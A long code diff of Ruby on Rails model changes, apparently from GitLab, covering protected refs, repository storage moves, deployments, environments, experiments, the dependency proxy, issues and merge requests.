private
def write_feature_attribute_boolean(field, value)
diff --git a/app/models/concerns/protected_ref.rb b/app/models/concerns/protected_ref.rb
index cddca72f91f..65195a8d5aa 100644
--- a/app/models/concerns/protected_ref.rb
+++ b/app/models/concerns/protected_ref.rb
@@ -12,6 +12,10 @@ module ProtectedRef
delegate :matching, :matches?, :wildcard?, to: :ref_matcher
scope :for_project, ->(project) { where(project: project) }
+
+ def allow_multiple?(type)
+ false
+ end
end
def commit
@@ -29,7 +33,7 @@ module ProtectedRef
# to fail.
has_many :"#{type}_access_levels", inverse_of: self.model_name.singular
- validates :"#{type}_access_levels", length: { is: 1, message: "are restricted to a single instance per #{self.model_name.human}." }
+ validates :"#{type}_access_levels", length: { is: 1, message: "are restricted to a single instance per #{self.model_name.human}." }, unless: -> { allow_multiple?(type) }
accepts_nested_attributes_for :"#{type}_access_levels", allow_destroy: true
end
diff --git a/app/models/concerns/protected_ref_access.rb b/app/models/concerns/protected_ref_access.rb
index 28dc3366e51..5e38ce7cad8 100644
--- a/app/models/concerns/protected_ref_access.rb
+++ b/app/models/concerns/protected_ref_access.rb
@@ -45,6 +45,7 @@ module ProtectedRefAccess
end
def check_access(user)
+ return false unless user
return true if user.admin?
user.can?(:push_code, project) &&
diff --git a/app/models/concerns/reactive_caching.rb b/app/models/concerns/reactive_caching.rb
index 3470bdab5fb..dbc70ac2218 100644
--- a/app/models/concerns/reactive_caching.rb
+++ b/app/models/concerns/reactive_caching.rb
@@ -1,7 +1,8 @@
# frozen_string_literal: true
# The usage of the ReactiveCaching module is documented here:
-# https://docs.gitlab.com/ee/development/reactive_caching.md
+# https://docs.gitlab.com/ee/development/reactive_caching.html
+#
module ReactiveCaching
extend ActiveSupport::Concern
diff --git a/app/models/concerns/repository_storage_movable.rb b/app/models/concerns/repository_storage_movable.rb
new file mode 100644
index 00000000000..a45b4626628
--- /dev/null
+++ b/app/models/concerns/repository_storage_movable.rb
@@ -0,0 +1,121 @@
+# frozen_string_literal: true
+
+module RepositoryStorageMovable
+ extend ActiveSupport::Concern
+ include AfterCommitQueue
+
+ included do
+ scope :order_created_at_desc, -> { order(created_at: :desc) }
+
+ validates :container, presence: true
+ validates :state, presence: true
+ validates :source_storage_name,
+ on: :create,
+ presence: true,
+ inclusion: { in: ->(_) { Gitlab.config.repositories.storages.keys } }
+ validates :destination_storage_name,
+ on: :create,
+ presence: true,
+ inclusion: { in: ->(_) { Gitlab.config.repositories.storages.keys } }
+ validate :container_repository_writable, on: :create
+
+ default_value_for(:destination_storage_name, allows_nil: false) do
+ pick_repository_storage
+ end
+
+ state_machine initial: :initial do
+ event :schedule do
+ transition initial: :scheduled
+ end
+
+ event :start do
+ transition scheduled: :started
+ end
+
+ event :finish_replication do
+ transition started: :replicated
+ end
+
+ event :finish_cleanup do
+ transition replicated: :finished
+ end
+
+ event :do_fail do
+ transition [:initial, :scheduled, :started] => :failed
+ transition replicated: :cleanup_failed
+ end
+
+ around_transition initial: :scheduled do |storage_move, block|
+ block.call
+
+ begin
+ storage_move.container.set_repository_read_only!(skip_git_transfer_check: true)
+ rescue => err
+ storage_move.add_error(err.message)
+ next false
+ end
+
+ storage_move.run_after_commit do
+ storage_move.schedule_repository_storage_update_worker
+ end
+
+ true
+ end
+
+ before_transition started: :replicated do |storage_move|
+ storage_move.container.set_repository_writable!
+
+ storage_move.update_repository_storage(storage_move.destination_storage_name)
+ end
+
+ before_transition started: :failed do |storage_move|
+ storage_move.container.set_repository_writable!
+ end
+
+ state :initial, value: 1
+ state :scheduled, value: 2
+ state :started, value: 3
+ state :finished, value: 4
+ state :failed, value: 5
+ state :replicated, value: 6
+ state :cleanup_failed, value: 7
+ end
+ end
+
+ class_methods do
+ private
+
+ def pick_repository_storage
+ container_klass = reflect_on_association(:container).class_name.constantize
+
+ container_klass.pick_repository_storage
+ end
+ end
+
+ # Projects, snippets, and group wikis has different db structure. In projects,
+ # we need to update some columns in this step, but we don't with the other resources.
+ #
+ # Therefore, we create this No-op method for snippets and wikis and let project
+ # overwrite it in their implementation.
+ def update_repository_storage(new_storage)
+ # No-op
+ end
+
+ def schedule_repository_storage_update_worker
+ raise NotImplementedError
+ end
+
+ def add_error(message)
+ errors.add(error_key, message)
+ end
+
+ private
+
+ def container_repository_writable
+ add_error(_('is read only')) if container&.repository_read_only?
+ end
+
+ def error_key
+ raise NotImplementedError
+ end
+end
diff --git a/app/models/concerns/routable.rb b/app/models/concerns/routable.rb
index c70ce9bebcc..71d8e06de76 100644
--- a/app/models/concerns/routable.rb
+++ b/app/models/concerns/routable.rb
@@ -4,6 +4,36 @@
# Object must have name and path db fields and respond to parent and parent_changed? methods.
module Routable
extend ActiveSupport::Concern
+ include CaseSensitivity
+
+ # Finds a Routable object by its full path, without knowing the class.
+ #
+ # Usage:
+ #
+ # Routable.find_by_full_path('groupname') # -> Group
+ # Routable.find_by_full_path('groupname/projectname') # -> Project
+ #
+ # Returns a single object, or nil.
+ def self.find_by_full_path(path, follow_redirects: false, route_scope: Route, redirect_route_scope: RedirectRoute)
+ return unless path.present?
+
+ # Case sensitive match first (it's cheaper and the usual case)
+ # If we didn't have an exact match, we perform a case insensitive search
+ #
+ # We need to qualify the columns with the table name, to support both direct lookups on
+ # Route/RedirectRoute, and scoped lookups through the Routable classes.
+ route =
+ route_scope.find_by(routes: { path: path }) ||
+ route_scope.iwhere(Route.arel_table[:path] => path).take
+
+ if follow_redirects
+ route ||= redirect_route_scope.iwhere(RedirectRoute.arel_table[:path] => path).take
+ end
+
+ return unless route
+
+ route.is_a?(Routable) ? route : route.source
+ end
included do
# Remove `inverse_of: source` when upgraded to rails 5.2
@@ -30,15 +60,14 @@ module Routable
#
# Returns a single object, or nil.
def find_by_full_path(path, follow_redirects: false)
- # Case sensitive match first (it's cheaper and the usual case)
- # If we didn't have an exact match, we perform a case insensitive search
- found = includes(:route).find_by(routes: { path: path }) || where_full_path_in([path]).take
-
- return found if found
-
- if follow_redirects
- joins(:redirect_routes).find_by("LOWER(redirect_routes.path) = LOWER(?)", path)
- end
+ # TODO: Optimize these queries by avoiding joins
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/292252
+ Routable.find_by_full_path(
+ path,
+ follow_redirects: follow_redirects,
+ route_scope: includes(:route).references(:routes),
+ redirect_route_scope: joins(:redirect_routes)
+ )
end
# Builds a relation to find multiple objects by their full paths.
diff --git a/app/models/concerns/shardable.rb b/app/models/concerns/shardable.rb
index c0883c08289..4bebb99d195 100644
--- a/app/models/concerns/shardable.rb
+++ b/app/models/concerns/shardable.rb
@@ -8,6 +8,7 @@ module Shardable
scope :for_repository_storage, -> (repository_storage) { joins(:shard).where(shards: { name: repository_storage }) }
scope :excluding_repository_storage, -> (repository_storage) { joins(:shard).where.not(shards: { name: repository_storage }) }
+ scope :for_shard, -> (shard) { where(shard_id: shard) }
validates :shard, presence: true
end
diff --git a/app/models/concerns/timebox.rb b/app/models/concerns/timebox.rb
index 23fd73f2904..8273059b30c 100644
--- a/app/models/concerns/timebox.rb
+++ b/app/models/concerns/timebox.rb
@@ -12,10 +12,16 @@ module Timebox
include FromUnion
TimeboxStruct = Struct.new(:title, :name, :id) do
+ include GlobalID::Identification
+
# Ensure these models match the interface required for exporting
def serializable_hash(_opts = {})
{ title: title, name: name, id: id }
end
+
+ def self.declarative_policy_class
+ "TimeboxPolicy"
+ end
end
# Represents a "No Timebox" state used for filtering Issues and Merge
diff --git a/app/models/concerns/token_authenticatable.rb b/app/models/concerns/token_authenticatable.rb
index a1f83884f02..535cf25eb9d 100644
--- a/app/models/concerns/token_authenticatable.rb
+++ b/app/models/concerns/token_authenticatable.rb
@@ -57,6 +57,13 @@ module TokenAuthenticatable
token = read_attribute(token_field)
token.present? && ActiveSupport::SecurityUtils.secure_compare(other_token, token)
end
+
+ # Base strategy delegates to this method for formatting a token before
+ # calling set_token. Can be overridden in models to e.g. add a prefix
+ # to the tokens
+ mod.define_method("format_#{token_field}") do |token|
+ token
+ end
end
def token_authenticatable_module
diff --git a/app/models/concerns/token_authenticatable_strategies/base.rb b/app/models/concerns/token_authenticatable_strategies/base.rb
index aafd0b538a3..f72a41f06b1 100644
--- a/app/models/concerns/token_authenticatable_strategies/base.rb
+++ b/app/models/concerns/token_authenticatable_strategies/base.rb
@@ -18,10 +18,15 @@ module TokenAuthenticatableStrategies
raise NotImplementedError
end
- def set_token(instance)
+ def set_token(instance, token)
raise NotImplementedError
end
+ # Default implementation returns the token as-is
+ def format_token(instance, token)
+ instance.send("format_#{@token_field}", token) # rubocop:disable GitlabSecurity/PublicSend
+ end
+
def ensure_token(instance)
write_new_token(instance) unless token_set?(instance)
get_token(instance)
@@ -57,7 +62,8 @@ module TokenAuthenticatableStrategies
def write_new_token(instance)
new_token = generate_available_token
- set_token(instance, new_token)
+ formatted_token = format_token(instance, new_token)
+ set_token(instance, formatted_token)
end
def unique
diff --git a/app/models/concerns/triggerable_hooks.rb b/app/models/concerns/triggerable_hooks.rb
index 325a5531926..473b430bb04 100644
--- a/app/models/concerns/triggerable_hooks.rb
+++ b/app/models/concerns/triggerable_hooks.rb
@@ -15,14 +15,13 @@ module TriggerableHooks
wiki_page_hooks: :wiki_page_events,
deployment_hooks: :deployment_events,
feature_flag_hooks: :feature_flag_events,
- release_hooks: :releases_events
+ release_hooks: :releases_events,
+ member_hooks: :member_events
}.freeze
extend ActiveSupport::Concern
class_methods do
- attr_reader :triggerable_hooks
-
attr_reader :triggers
def hooks_for(trigger)
diff --git a/app/models/container_repository.rb b/app/models/container_repository.rb
index 4adbd37608f..0d7ce966537 100644
--- a/app/models/container_repository.rb
+++ b/app/models/container_repository.rb
@@ -25,8 +25,7 @@ class ContainerRepository < ApplicationRecord
.with_container_registry
.select(:id)
- ContainerRepository
- .joins("INNER JOIN (#{project_scope.to_sql}) projects on projects.id=container_repositories.project_id")
+ joins("INNER JOIN (#{project_scope.to_sql}) projects on projects.id=container_repositories.project_id")
end
scope :for_project_id, ->(project_id) { where(project_id: project_id) }
scope :search_by_name, ->(query) { fuzzy_search(query, [:name], use_minimum_char_limit: false) }
diff --git a/app/models/custom_emoji.rb b/app/models/custom_emoji.rb
index ed22d4ba231..4f8f86965d7 100644
--- a/app/models/custom_emoji.rb
+++ b/app/models/custom_emoji.rb
@@ -17,7 +17,7 @@ class CustomEmoji < ApplicationRecord
uniqueness: { scope: [:namespace_id, :name] },
presence: true,
length: { maximum: 36 },
- format: { with: /\A([a-z0-9]+[-_]?)+[a-z0-9]+\z/ }
+ format: { with: /\A[a-z0-9][a-z0-9\-_]*[a-z0-9]\z/ }
private
diff --git a/app/models/cycle_analytics/level_base.rb b/app/models/cycle_analytics/level_base.rb
index 967de9a22b4..901636a7263 100644
--- a/app/models/cycle_analytics/level_base.rb
+++ b/app/models/cycle_analytics/level_base.rb
@@ -4,9 +4,52 @@ module CycleAnalytics
module LevelBase
STAGES = %i[issue plan code test review staging].freeze
+ # This is a temporary adapter class which makes the new value stream (cycle analytics)
+ # backend compatible with the old implementation.
+ class StageAdapter
+ def initialize(stage, options)
+ @stage = stage
+ @options = options
+ end
+
+ # rubocop: disable CodeReuse/Presenter
+ def as_json(serializer: AnalyticsStageSerializer)
+ presenter = Analytics::CycleAnalytics::StagePresenter.new(stage)
+
+ serializer.new.represent(OpenStruct.new(
+ title: presenter.title,
+ description: presenter.description,
+ legend: presenter.legend,
+ name: stage.name,
+ project_median: median,
+ group_median: median
+ ))
+ end
+ # rubocop: enable CodeReuse/Presenter
+
+ def events
+ data_collector.records_fetcher.serialized_records
+ end
+
+ def median
+ data_collector.median.seconds
+ end
+
+ alias_method :project_median, :median
+ alias_method :group_median, :median
+
+ private
+
+ attr_reader :stage, :options
+
+ def data_collector
+ @data_collector ||= Gitlab::Analytics::CycleAnalytics::DataCollector.new(stage: stage, params: options)
+ end
+ end
+
def all_medians_by_stage
STAGES.each_with_object({}) do |stage_name, medians_per_stage|
- medians_per_stage[stage_name] = self[stage_name].project_median
+ medians_per_stage[stage_name] = self[stage_name].median
end
end
@@ -16,12 +59,16 @@ module CycleAnalytics
end
end
- def no_stats?
- stats.all? { |hash| hash[:value].nil? }
+ def [](stage_name)
+ if Feature.enabled?(:new_project_level_vsa_backend, resource_parent, default_enabled: true)
+ StageAdapter.new(build_stage(stage_name), options)
+ else
+ Gitlab::CycleAnalytics::Stage[stage_name].new(options: options)
+ end
end
- def [](stage_name)
- Gitlab::CycleAnalytics::Stage[stage_name].new(options: options)
+ def stage_params_by_name(name)
+ Gitlab::Analytics::CycleAnalytics::DefaultStages.find_by_name!(name)
end
end
end
diff --git a/app/models/cycle_analytics/project_level.rb b/app/models/cycle_analytics/project_level.rb
index 591435baf34..26cdcc0db4b 100644
--- a/app/models/cycle_analytics/project_level.rb
+++ b/app/models/cycle_analytics/project_level.rb
@@ -20,5 +20,14 @@ module CycleAnalytics
def permissions(user:)
Gitlab::CycleAnalytics::Permissions.get(user: user, project: project)
end
+
+ def build_stage(stage_name)
+ stage_params = stage_params_by_name(stage_name).merge(project: project)
+ Analytics::CycleAnalytics::ProjectStage.new(stage_params)
+ end
+
+ def resource_parent
+ project
+ end
end
end
diff --git a/app/models/dependency_proxy.rb b/app/models/dependency_proxy.rb
index 510a304ff17..9cbaf7e9884 100644
--- a/app/models/dependency_proxy.rb
+++ b/app/models/dependency_proxy.rb
@@ -1,5 +1,7 @@
# frozen_string_literal: true
module DependencyProxy
+ URL_SUFFIX = '/dependency_proxy/containers'
+
def self.table_name_prefix
'dependency_proxy_'
end
diff --git a/app/models/dependency_proxy/manifest.rb b/app/models/dependency_proxy/manifest.rb
new file mode 100644
index 00000000000..f3c7f34e0d7
--- /dev/null
+++ b/app/models/dependency_proxy/manifest.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class DependencyProxy::Manifest < ApplicationRecord
+ include FileStoreMounter
+
+ belongs_to :group
+
+ validates :group, presence: true
+ validates :file, presence: true
+ validates :file_name, presence: true
+ validates :digest, presence: true
+
+ mount_file_store_uploader DependencyProxy::FileUploader
+
+ scope :find_or_initialize_by_file_name, ->(file_name) { find_or_initialize_by(file_name: file_name) }
+end
diff --git a/app/models/dependency_proxy/registry.rb b/app/models/dependency_proxy/registry.rb
index 471d5be2600..6492acf325a 100644
--- a/app/models/dependency_proxy/registry.rb
+++ b/app/models/dependency_proxy/registry.rb
@@ -1,8 +1,9 @@
# frozen_string_literal: true
class DependencyProxy::Registry
- AUTH_URL = 'https://auth.docker.io'.freeze
- LIBRARY_URL = 'https://registry-1.docker.io/v2'.freeze
+ AUTH_URL = 'https://auth.docker.io'
+ LIBRARY_URL = 'https://registry-1.docker.io/v2'
+ PROXY_AUTH_URL = Gitlab::Utils.append_path(Gitlab.config.gitlab.url, "jwt/auth")
class << self
def auth_url(image)
@@ -17,6 +18,10 @@ class DependencyProxy::Registry
"#{LIBRARY_URL}/#{image_path(image)}/blobs/#{blob_sha}"
end
+ def authenticate_header
+ "Bearer realm=\"#{PROXY_AUTH_URL}\",service=\"#{::Auth::DependencyProxyAuthenticationService::AUDIENCE}\""
+ end
+
private
def image_path(image)
diff --git a/app/models/deployment.rb b/app/models/deployment.rb
index 36ac1bdb236..b93b714ec8b 100644
--- a/app/models/deployment.rb
+++ b/app/models/deployment.rb
@@ -37,12 +37,19 @@ class Deployment < ApplicationRecord
end
scope :for_status, -> (status) { where(status: status) }
+ scope :for_project, -> (project_id) { where(project_id: project_id) }
scope :visible, -> { where(status: %i[running success failed canceled]) }
scope :stoppable, -> { where.not(on_stop: nil).where.not(deployable_id: nil).success }
scope :active, -> { where(status: %i[created running]) }
- scope :older_than, -> (deployment) { where('id < ?', deployment.id) }
- scope :with_deployable, -> { includes(:deployable).where('deployable_id IS NOT NULL') }
+ scope :older_than, -> (deployment) { where('deployments.id < ?', deployment.id) }
+ scope :with_deployable, -> { joins('INNER JOIN ci_builds ON ci_builds.id = deployments.deployable_id').preload(:deployable) }
+
+ scope :finished_between, -> (start_date, end_date = nil) do
+ selected = where('deployments.finished_at >= ?', start_date)
+ selected = selected.where('deployments.finished_at < ?', end_date) if end_date
+ selected
+ end
FINISHED_STATUSES = %i[success failed canceled].freeze
@@ -63,6 +70,10 @@ class Deployment < ApplicationRecord
transition any - [:canceled] => :canceled
end
+ event :skip do
+ transition any - [:skipped] => :skipped
+ end
+
before_transition any => FINISHED_STATUSES do |deployment|
deployment.finished_at = Time.current
end
@@ -105,7 +116,8 @@ class Deployment < ApplicationRecord
running: 1,
success: 2,
failed: 3,
- canceled: 4
+ canceled: 4,
+ skipped: 5
}
def self.last_for_environment(environment)
@@ -144,6 +156,10 @@ class Deployment < ApplicationRecord
project.repository.delete_refs(*ref_paths.flatten)
end
end
+
+ def latest_for_sha(sha)
+ where(sha: sha).order(id: :desc).take
+ end
end
def commit
@@ -297,6 +313,8 @@ class Deployment < ApplicationRecord
drop
when 'canceled'
cancel
+ when 'skipped'
+ skip
else
raise ArgumentError, "The status #{status.inspect} is invalid"
end
diff --git a/app/models/diff_note.rb b/app/models/diff_note.rb
index 4b2e62bf761..944a64f5419 100644
--- a/app/models/diff_note.rb
+++ b/app/models/diff_note.rb
@@ -19,7 +19,7 @@ class DiffNote < Note
# EE might have added a type when the module was prepended
validates :noteable_type, inclusion: { in: -> (_note) { noteable_types } }
validate :positions_complete
- validate :verify_supported
+ validate :verify_supported, unless: :importing?
before_validation :set_line_code, if: :on_text?, unless: :importing?
after_save :keep_around_commits, unless: :importing?
@@ -149,7 +149,7 @@ class DiffNote < Note
end
def supported?
- for_commit? || for_design? || self.noteable.has_complete_diff_refs?
+ for_commit? || for_design? || self.noteable&.has_complete_diff_refs?
end
def set_line_code
diff --git a/app/models/environment.rb b/app/models/environment.rb
index deded3eeae0..31a95bb1b5d 100644
--- a/app/models/environment.rb
+++ b/app/models/environment.rb
@@ -32,6 +32,7 @@ class Environment < ApplicationRecord
has_one :last_visible_deployment, -> { visible.distinct_on_environment }, inverse_of: :environment, class_name: 'Deployment'
has_one :last_visible_deployable, through: :last_visible_deployment, source: 'deployable', source_type: 'CommitStatus'
has_one :last_visible_pipeline, through: :last_visible_deployable, source: 'pipeline'
+ has_one :upcoming_deployment, -> { running.order('deployments.id DESC') }, class_name: 'Deployment'
has_one :latest_opened_most_severe_alert, -> { order_severity_with_open_prometheus_alert }, class_name: 'AlertManagement::Alert', inverse_of: :environment
before_validation :nullify_external_url
@@ -60,6 +61,7 @@ class Environment < ApplicationRecord
addressable_url: true
delegate :stop_action, :manual_actions, to: :last_deployment, allow_nil: true
+ delegate :auto_rollback_enabled?, to: :project
scope :available, -> { with_state(:available) }
scope :stopped, -> { with_state(:stopped) }
@@ -240,10 +242,6 @@ class Environment < ApplicationRecord
def cancel_deployment_jobs!
jobs = active_deployments.with_deployable
jobs.each do |deployment|
- # guard against data integrity issues,
- # for example https://gitlab.com/gitlab-org/gitlab/-/issues/218659#note_348823660
- next unless deployment.deployable
-
Gitlab::OptimisticLocking.retry_lock(deployment.deployable) do |deployable|
deployable.cancel! if deployable&.cancelable?
end
@@ -387,8 +385,38 @@ class Environment < ApplicationRecord
!!deployment_platform&.cluster&.application_elastic_stack_available?
end
+ def rollout_status
+ return unless rollout_status_available?
+
+ result = rollout_status_with_reactive_cache
+
+ result || ::Gitlab::Kubernetes::RolloutStatus.loading
+ end
+
+ def ingresses
+ return unless rollout_status_available?
+
+ deployment_platform.ingresses(deployment_namespace)
+ end
+
+ def patch_ingress(ingress, data)
+ return unless rollout_status_available?
+
+ deployment_platform.patch_ingress(deployment_namespace, ingress, data)
+ end
+
private
+ def rollout_status_available?
+ has_terminals?
+ end
+
+ def rollout_status_with_reactive_cache
+ with_reactive_cache do |data|
+ deployment_platform.rollout_status(self, data)
+ end
+ end
+
def has_metrics_and_can_query?
has_metrics? && prometheus_adapter.can_query?
end
@@ -396,11 +424,6 @@ class Environment < ApplicationRecord
def generate_slug
self.slug = Gitlab::Slug::Environment.new(name).generate
end
-
- # Overrides ReactiveCaching default to activate limit checking behind a FF
- def reactive_cache_limit_enabled?
- Feature.enabled?(:reactive_caching_limit_environment, project, default_enabled: true)
- end
end
Environment.prepend_if_ee('EE::Environment')
diff --git a/app/models/experiment.rb b/app/models/experiment.rb
index f179a1fc6ce..a4cacab25ee 100644
--- a/app/models/experiment.rb
+++ b/app/models/experiment.rb
@@ -2,17 +2,24 @@
class Experiment < ApplicationRecord
has_many :experiment_users
+ has_many :experiment_subjects, inverse_of: :experiment
validates :name, presence: true, uniqueness: true, length: { maximum: 255 }
- def self.add_user(name, group_type, user)
- return unless experiment = find_or_create_by(name: name)
+ def self.add_user(name, group_type, user, context = {})
+ find_or_create_by!(name: name).record_user_and_group(user, group_type, context)
+ end
- experiment.record_user_and_group(user, group_type)
+ def self.record_conversion_event(name, user)
+ find_or_create_by!(name: name).record_conversion_event_for_user(user)
end
# Create or update the recorded experiment_user row for the user in this experiment.
- def record_user_and_group(user, group_type)
- experiment_users.find_or_initialize_by(user: user).update!(group_type: group_type)
+ def record_user_and_group(user, group_type, context = {})
+ experiment_users.find_or_initialize_by(user: user).update!(group_type: group_type, context: context)
+ end
+
+ def record_conversion_event_for_user(user)
+ experiment_users.find_by(user: user, converted_at: nil)&.touch(:converted_at)
end
end
diff --git a/app/models/experiment_subject.rb b/app/models/experiment_subject.rb
new file mode 100644
index 00000000000..51ffc0b304e
--- /dev/null
+++ b/app/models/experiment_subject.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class ExperimentSubject < ApplicationRecord
+ include ::Gitlab::Experimentation::GroupTypes
+
+ belongs_to :experiment, inverse_of: :experiment_subjects
+ belongs_to :user
+ belongs_to :group
+ belongs_to :project
+
+ validates :experiment, presence: true
+ validates :variant, presence: true
+ validate :must_have_one_subject_present
+
+ enum variant: { GROUP_CONTROL => 0, GROUP_EXPERIMENTAL => 1 }
+
+ private
+
+ def must_have_one_subject_present
+ if non_nil_subjects.length != 1
+ errors.add(:base, s_("ExperimentSubject|Must have exactly one of User, Group, or Project."))
+ end
+ end
+
+ def non_nil_subjects
+ @non_nil_subjects ||= [user, group, project].reject(&:blank?)
+ end
+end
diff --git a/app/models/exported_protected_branch.rb b/app/models/exported_protected_branch.rb
new file mode 100644
index 00000000000..6e8abbc2389
--- /dev/null
+++ b/app/models/exported_protected_branch.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ExportedProtectedBranch < ProtectedBranch
+ has_many :push_access_levels, -> { where(deploy_key_id: nil) }, class_name: "ProtectedBranch::PushAccessLevel", foreign_key: :protected_branch_id
+end
diff --git a/app/models/group.rb b/app/models/group.rb
index 3509299a579..739135e82dd 100644
--- a/app/models/group.rb
+++ b/app/models/group.rb
@@ -73,6 +73,7 @@ class Group < Namespace
has_one :dependency_proxy_setting, class_name: 'DependencyProxy::GroupSetting'
has_many :dependency_proxy_blobs, class_name: 'DependencyProxy::Blob'
+ has_many :dependency_proxy_manifests, class_name: 'DependencyProxy::Manifest'
accepts_nested_attributes_for :variables, allow_destroy: true
@@ -402,6 +403,13 @@ class Group < Namespace
.where(source_id: self_and_hierarchy.reorder(nil).select(:id))
end
+ def direct_and_indirect_members_with_inactive
+ GroupMember
+ .non_request
+ .non_invite
+ .where(source_id: self_and_hierarchy.reorder(nil).select(:id))
+ end
+
def users_with_parents
User
.where(id: members_with_parents.select(:user_id))
@@ -428,6 +436,20 @@ class Group < Namespace
])
end
+ # Returns all users (also inactive) that are members of the group because:
+ # 1. They belong to the group
+ # 2. They belong to a project that belongs to the group
+ # 3. They belong to a sub-group or project in such sub-group
+ # 4. They belong to an ancestor group
+ def direct_and_indirect_users_with_inactive
+ User.from_union([
+ User
+ .where(id: direct_and_indirect_members_with_inactive.select(:user_id))
+ .reorder(nil),
+ project_users_with_descendants
+ ])
+ end
+
def users_count
members.count
end
diff --git a/app/models/group_import_state.rb b/app/models/group_import_state.rb
index 89602e40357..c47ae3a80ba 100644
--- a/app/models/group_import_state.rb
+++ b/app/models/group_import_state.rb
@@ -3,6 +3,8 @@
class GroupImportState < ApplicationRecord
self.primary_key = :group_id
+ MAX_ERROR_LENGTH = 255
+
belongs_to :group, inverse_of: :import_state
belongs_to :user, optional: false
@@ -30,7 +32,7 @@ class GroupImportState < ApplicationRecord
after_transition any => :failed do |state, transition|
last_error = transition.args.first
- state.update_column(:last_error, last_error) if last_error
+ state.update_column(:last_error, last_error.truncate(MAX_ERROR_LENGTH)) if last_error
end
end
diff --git a/app/models/identity.rb b/app/models/identity.rb
index 40d9f856abf..fc97c68b756 100644
--- a/app/models/identity.rb
+++ b/app/models/identity.rb
@@ -18,6 +18,9 @@ class Identity < ApplicationRecord
scope :with_extern_uid, ->(provider, extern_uid) do
iwhere(extern_uid: normalize_uid(provider, extern_uid)).with_provider(provider)
end
+ scope :with_any_extern_uid, ->(provider) do
+ where.not(extern_uid: nil).with_provider(provider)
+ end
def ldap?
Gitlab::Auth::OAuth::Provider.ldap_provider?(provider)
diff --git a/app/models/issue.rb b/app/models/issue.rb
index 7dc18cacd7c..253f4465cd9 100644
--- a/app/models/issue.rb
+++ b/app/models/issue.rb
@@ -22,6 +22,7 @@ class Issue < ApplicationRecord
include Presentable
include IssueAvailableFeatures
include Todoable
+ include FromUnion
DueDateStruct = Struct.new(:title, :name).freeze
NoDueDate = DueDateStruct.new('No Due Date', '0').freeze
@@ -90,6 +91,8 @@ class Issue < ApplicationRecord
alias_attribute :parent_ids, :project_id
alias_method :issuing_parent, :project
+ alias_attribute :external_author, :service_desk_reply_to
+
scope :in_projects, ->(project_ids) { where(project_id: project_ids) }
scope :not_in_projects, ->(project_ids) { where.not(project_id: project_ids) }
@@ -306,6 +309,7 @@ class Issue < ApplicationRecord
!moved? && persisted? &&
user.can?(:admin_issue, self.project)
end
+ alias_method :can_clone?, :can_move?
def to_branch_name
if self.confidential?
@@ -328,7 +332,9 @@ class Issue < ApplicationRecord
related_issues = ::Issue
.select(['issues.*', 'issue_links.id AS issue_link_id',
'issue_links.link_type as issue_link_type_value',
- 'issue_links.target_id as issue_link_source_id'])
+ 'issue_links.target_id as issue_link_source_id',
+ 'issue_links.created_at as issue_link_created_at',
+ 'issue_links.updated_at as issue_link_updated_at'])
.joins("INNER JOIN issue_links ON
(issue_links.source_id = issues.id AND issue_links.target_id = #{id})
OR
diff --git a/app/models/iteration.rb b/app/models/iteration.rb
index ba7cd973e9d..7a35bb1cd1f 100644
--- a/app/models/iteration.rb
+++ b/app/models/iteration.rb
@@ -32,9 +32,9 @@ class Iteration < ApplicationRecord
scope :closed, -> { with_state(:closed) }
scope :within_timeframe, -> (start_date, end_date) do
- where('start_date is not NULL or due_date is not NULL')
- .where('start_date is NULL or start_date <= ?', end_date)
- .where('due_date is NULL or due_date >= ?', start_date)
+ where('start_date IS NOT NULL OR due_date IS NOT NULL')
+ .where('start_date IS NULL OR start_date <= ?', end_date)
+ .where('due_date IS NULL OR due_date >= ?', start_date)
end
scope :start_date_passed, -> { where('start_date <= ?', Date.current).where('due_date >= ?', Date.current) }
diff --git a/app/models/label.rb b/app/models/label.rb
index 3c70eef9bd5..54129c7c7f3 100644
--- a/app/models/label.rb
+++ b/app/models/label.rb
@@ -257,7 +257,7 @@ class Label < ApplicationRecord
end
def present(attributes)
- super(attributes.merge(presenter_class: ::LabelPresenter))
+ super(**attributes.merge(presenter_class: ::LabelPresenter))
end
private
diff --git a/app/models/label_priority.rb b/app/models/label_priority.rb
index 8f8f36efbfe..11854404a71 100644
--- a/app/models/label_priority.rb
+++ b/app/models/label_priority.rb
@@ -1,10 +1,13 @@
# frozen_string_literal: true
class LabelPriority < ApplicationRecord
+ include Importable
+
belongs_to :project
belongs_to :label
- validates :project, :label, :priority, presence: true
+ validates :label, presence: true, unless: :importing?
+ validates :project, :priority, presence: true
validates :label_id, uniqueness: { scope: :project_id }
validates :priority, numericality: { only_integer: true, greater_than_or_equal_to: 0 }
end
diff --git a/app/models/list.rb b/app/models/list.rb
index ec211dfd497..1df565c83e6 100644
--- a/app/models/list.rb
+++ b/app/models/list.rb
@@ -7,7 +7,7 @@ class List < ApplicationRecord
belongs_to :label
has_many :list_user_preferences
- enum list_type: { backlog: 0, label: 1, closed: 2, assignee: 3, milestone: 4 }
+ enum list_type: { backlog: 0, label: 1, closed: 2, assignee: 3, milestone: 4, iteration: 5 }
validates :board, :list_type, presence: true, unless: :importing?
validates :label, :position, presence: true, if: :label?
diff --git a/app/models/merge_request.rb b/app/models/merge_request.rb
index d379f85bc15..043f07cf9f3 100644
--- a/app/models/merge_request.rb
+++ b/app/models/merge_request.rb
@@ -233,13 +233,13 @@ class MergeRequest < ApplicationRecord
cannot_be_merged_rechecking? ? 'checking' : merge_status
end
- validates :source_project, presence: true, unless: [:allow_broken, :importing?, :closed_without_fork?]
+ validates :source_project, presence: true, unless: [:allow_broken, :importing?, :closed_or_merged_without_fork?]
validates :source_branch, presence: true
validates :target_project, presence: true
validates :target_branch, presence: true
validates :merge_user, presence: true, if: :auto_merge_enabled?, unless: :importing?
- validate :validate_branches, unless: [:allow_broken, :importing?, :closed_without_fork?]
- validate :validate_fork, unless: :closed_without_fork?
+ validate :validate_branches, unless: [:allow_broken, :importing?, :closed_or_merged_without_fork?]
+ validate :validate_fork, unless: :closed_or_merged_without_fork?
validate :validate_target_project, on: :create
scope :by_source_or_target_branch, ->(branch_name) do
@@ -274,7 +274,7 @@ class MergeRequest < ApplicationRecord
scope :with_api_entity_associations, -> {
preload_routables
.preload(:assignees, :author, :unresolved_notes, :labels, :milestone,
- :timelogs, :latest_merge_request_diff,
+ :timelogs, :latest_merge_request_diff, :reviewers,
target_project: :project_feature,
metrics: [:latest_closed_by, :merged_by])
}
